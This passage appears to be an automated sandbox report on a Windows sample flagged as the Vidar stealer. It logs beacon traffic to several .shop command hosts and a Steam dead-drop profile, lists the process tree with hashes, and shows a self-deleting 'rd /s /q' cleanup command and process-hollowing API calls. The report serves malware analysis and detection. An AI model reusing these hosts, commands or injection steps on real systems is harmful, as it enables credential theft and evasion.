2024-09-25 18:50:19 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nn64uvt20baidlsv859flq30g4; expires=Sun, 19 Jan 2025 12:36:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=flAnO0Z6yBNPrmJl%2FhAe4HPRHifVveDy3k5dlzSPGwLuQQSxii5RLVd8loHxMZpWvNmBXZbotzti7yqkQPtTouJji8L0B9e3VenR6ozZYQqDhFAebre%2FAvRkZemBHK7xyauo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d32fd1ba24307-EWR
2024-09-25 18:50:19 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49752	188.114.97.3	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:20 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-25 18:50:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:20 UTC	770	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3hsom4990fksfe5ugrsg5hh95r; expires=Sun, 19 Jan 2025 12:36:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RiJffGWl8f1x%2Bhx7qDWxMQ3%2FLDNziIUhP2Ab0DMBJJYtUI5TrineqTwgXzb9pk6iMspX5A0jhCXe%2Fn9z%2FvS%2BpYI4d6U4FqNqj6lfZ96iEIqNRlwjGHlZCPEmsCjae1cqPTh4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d33045bec0ca0-EWR
2024-09-25 18:50:20 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49754	188.114.96.3	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:21 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-25 18:50:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:23 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ap5talrcbcg6btflaut7u4edq; expires=Sun, 19 Jan 2025 12:37:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rTaXqbH5OfiYvmxWUI2iNHlutpnxyxpmNBlk%2Fq1CxeFhWU5e%2FscB8alFIvNUGfYdFaBGMWv8G240U1T0BOlvk57b4r%2FBbCr3tf44hKsUAJRk%2BJCE78N9qqZDz6UcE3yM5PGheqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d3314eac20f73-EWR
2024-09-25 18:50:23 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49756	104.21.77.130	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:24 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-25 18:50:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:25 UTC	768	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tat54jq2i26qi2kgpritapnrci; expires=Sun, 19 Jan 2025 12:37:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wvtR675W9YFAF8rvVcVVe7ngH4g37MG08ZjIsKFAZNXu7byVP3xsurDQ98MuMljWX%2B%2BqYxM9gNSNNBeXEjNbVxeCRJ6WsKLi%2FLg3dkH%2BjeIpbbORK4x8Qz47yI3TpDZqYV2K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d3321b8884237-EWR
2024-09-25 18:50:25 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49759	104.102.49.254	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:26 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-25 18:50:26 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 25 Sep 2024 18:50:26 GMT Content-Length: 34668 Connection: close Set-Cookie: sessionid=468a9c07480beea674f6698d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-25 18:50:26 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-25 18:50:26 UTC	16384	IN	Data Raw: 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 Data Ascii: supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu
2024-09-25 18:50:26 UTC	3768	IN	Data Raw: 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 Data Ascii: w more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div cla
2024-09-25 18:50:26 UTC	2	IN	Data Raw: 6c 3e Data Ascii: l>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49762	104.21.51.224	443	5980	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:50:27 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: performenj.shop
2024-09-25 18:50:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-25 18:50:27 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 18:50:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rmv478hplq6ojqp7t3q97a6k8s; expires=Sun, 19 Jan 2025 12:37:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JKAgVcVLkWudEg2kF3ww8PJ%2BAgXSebpObcBah7Nn541xPTamfDyrP8eE181FP3NBNza9in6dSX2DHLEfPoCrUTiLLPn4yRAQadMScyWNBQd3Dwpk7enSrNDaVY1Eno1vxM8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8d33328b378ccc-EWR
2024-09-25 18:50:27 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-25 18:50:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:48:55
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7a0000
File size:	413'224 bytes
MD5 hash:	8B0B12811B60A92A72B636A46FADB0BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:48:55
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:48:56
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:49:58
Start date:	25/09/2024
Path:	C:\ProgramData\KKEBKJJDGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KKEBKJJDGH.exe"
Imagebase:	0x630000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:49:58
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0x30000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:49:59
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Imagebase:	0x1a0000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:50:01
Start date:	25/09/2024
Path:	C:\ProgramData\EBGDHJECFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\EBGDHJECFC.exe"
Imagebase:	0xf10000
File size:	377'384 bytes
MD5 hash:	0CEE1D66332DEC523210F62E479284B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:50:01
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:50:06
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:50:12
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0x100000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:50:14
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944
Imagebase:	0xe00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:50:23
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Imagebase:	0xc20000
File size:	26'112 bytes
MD5 hash:	168087C84C5FF3664E5E2F4EEC18D7DD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:50:25
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 180 -s 948
Imagebase:	0xe00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:50:28
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:50:28
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:50:30
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xbb0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	45.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.5%
Total number of Nodes:	16
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02A92131 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02A920A3,02A92093), ref: 02A922A0
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02A922B3
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 02A922D1
ReadProcessMemory.KERNELBASE(00000098,?,02A920E7,00000004,00000000), ref: 02A922F5
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 02A92320
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 02A92378
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 02A923C3
WriteProcessMemory.KERNELBASE(00000098,-00000008,?,00000004,00000000), ref: 02A92401
Wow64SetThreadContext.KERNEL32(0000009C,02A60000), ref: 02A9243D
ResumeThread.KERNELBASE(0000009C), ref: 02A9244C

Strings

ReadProcessMemory, xrefs: 02A9221E
VirtualAllocEx, xrefs: 02A92231
GetP, xrefs: 02A921B3
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02A9229F
ResumeThread, xrefs: 02A9226D
ress, xrefs: 02A921BB
SetThreadContext, xrefs: 02A92257
CreateProcessA, xrefs: 02A921E5
TerminateProcess, xrefs: 02A9232F
GetThreadContext, xrefs: 02A9220B
Load, xrefs: 02A9216F
WriteProcessMemory, xrefs: 02A92244
VirtualAlloc, xrefs: 02A921F8
aryA, xrefs: 02A92177

Memory Dump Source

Source File: 00000000.00000002.2067752878.0000000002A91000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a91000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 976b74fb5312892c1845d4609d9ea84154c9b0bf1fe80dfea40764d2153e8735
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 98B1F47260028AAFDB60CF69CC80BDA73A5FF88714F158564EA08AB341D770FA518B94

Function 00F21270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00F212F0

Memory Dump Source

Source File: 00000000.00000002.2067481408.0000000000F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d1e99711967aa838a0823f3f6caf28dc690ee1e00f31b73ec2b8d6b57915e6fe
Instruction ID: 5cdd8e5dbe266dcfbe2abb5d43ee8726d653e32236a9ad6273f15c4fd440b241
Opcode Fuzzy Hash: d1e99711967aa838a0823f3f6caf28dc690ee1e00f31b73ec2b8d6b57915e6fe
Instruction Fuzzy Hash: E12133B5C002599FCB10CFAAD880ADEFBF4FF48320F10842AE919A3240C774A900CBA1

Analysis Process: RegAsm.exePID: 2964, Parent PID: 2452COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 0041891A Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00417293), ref: 0041892E
GetProcAddress.KERNEL32 ref: 00418945
GetProcAddress.KERNEL32 ref: 0041895C
GetProcAddress.KERNEL32 ref: 00418973
GetProcAddress.KERNEL32 ref: 0041898A
GetProcAddress.KERNEL32 ref: 004189A1
GetProcAddress.KERNEL32 ref: 004189B8
GetProcAddress.KERNEL32 ref: 004189CF
GetProcAddress.KERNEL32 ref: 004189E6
GetProcAddress.KERNEL32 ref: 004189FD
GetProcAddress.KERNEL32 ref: 00418A14
GetProcAddress.KERNEL32 ref: 00418A2B
GetProcAddress.KERNEL32 ref: 00418A42
GetProcAddress.KERNEL32 ref: 00418A59
GetProcAddress.KERNEL32 ref: 00418A70
GetProcAddress.KERNEL32 ref: 00418A87
GetProcAddress.KERNEL32 ref: 00418A9E
GetProcAddress.KERNEL32 ref: 00418AB5
GetProcAddress.KERNEL32 ref: 00418ACC
GetProcAddress.KERNEL32 ref: 00418AE3
GetProcAddress.KERNEL32 ref: 00418AFA
GetProcAddress.KERNEL32 ref: 00418B11
GetProcAddress.KERNEL32 ref: 00418B28
GetProcAddress.KERNEL32 ref: 00418B3F
GetProcAddress.KERNEL32 ref: 00418B56
